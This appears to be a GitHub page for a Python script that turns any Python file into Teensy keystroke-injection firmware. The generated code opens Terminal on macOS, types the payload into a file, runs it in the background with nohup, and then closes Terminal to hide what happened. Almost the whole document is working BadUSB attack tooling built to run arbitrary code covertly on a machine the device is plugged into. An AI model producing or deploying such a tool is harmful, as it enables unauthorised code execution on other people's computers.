-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPython_to_Teensy_payload.py
138 lines (103 loc) · 2.65 KB
/
Python_to_Teensy_payload.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/python3
'''
Ok so..... a few finicky things about this, and I'm too tired right now to fix
Make sure in your target python file that you want to be your payload:
- You only use double quotes (single quotes of any form really screws it up)
- Make your strings, even long ones, a single line
- You should survive :)
'''
import sys
payload_name = 'payload.py'
preamble = '''
int ds = 500;
void setup(){
delay(1000);
pinMode(LED_BUILTIN, OUTPUT);
digitalWrite(LED_BUILTIN, HIGH);
openapp("Terminal");
delay(7000);
typeln("cd");
typeln("rm ''' + payload_name + '''");
typeln("touch ''' + payload_name + '''");
'''
suffix = '''
typeln("nohup python3 ''' + payload_name + ''' &");
delay(50);
typeln("exit");
delay(50);
cmd(KEY_Q);
delay(50);
typeln("");
delay(50);
}
void typeln(String chars)
{
Keyboard.println(chars);
}
// open an application on OS X via spotlight/alfred
void openapp(String app)
{
// open spotlight (or alfred/qs), then the app
cmd(KEY_SPACE);
typeln(app);
}
void mod(int mod, int key)
{
Keyboard.set_modifier(mod);
Keyboard.send_now();
Keyboard.set_key1(key);
Keyboard.send_now();
delay(ds);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(ds);
}
void ctrl(int key)
{
mod(MODIFIERKEY_CTRL, key);
}
void cmd(int key)
{
mod(MODIFIERKEY_GUI, key);
}
void shift(int key)
{
mod(MODIFIERKEY_SHIFT, key);
}
void loop()
{
// blink quickly so we know we're done
digitalWrite(LED_BUILTIN, HIGH);
delay(ds/2);
digitalWrite(LED_BUILTIN, LOW);
delay(ds/2);
}
'''
def main(file_in, delay, file_out):
with open(file_in, 'r') as f:
lines = f.readlines()
with open(file_out, 'w') as fout:
print(preamble, file=fout)
for line in lines:
# line = line.replace('\t', '\\\\t')
# line = line.replace(' ', '\\\\t')
line = line.replace('"', '\\"')
line = line.strip('\n')
line = line.replace('\\n', '\\\\\\\\n')
print('\ttypeln("echo \'' + line + '\' >> ' + payload_name + '");', file=fout)
print('\tdelay(' + delay + ');', file=fout)
print(suffix, file=fout)
if __name__ == "__main__":
if len(sys.argv) != 4:
print("ERROR: Usage <file to convert> <delay in seconds> <file out>")
sys.exit(1)
try:
delay = int(sys.argv[2])
delay = str(delay)
except ValueError:
print("ERROR delay not in seconds: Usage <file to convert> <delay in seconds> <file out>")
sys.exit(1)
file_in = sys.argv[1]
file_out = sys.argv[3]
main(file_in, delay, file_out)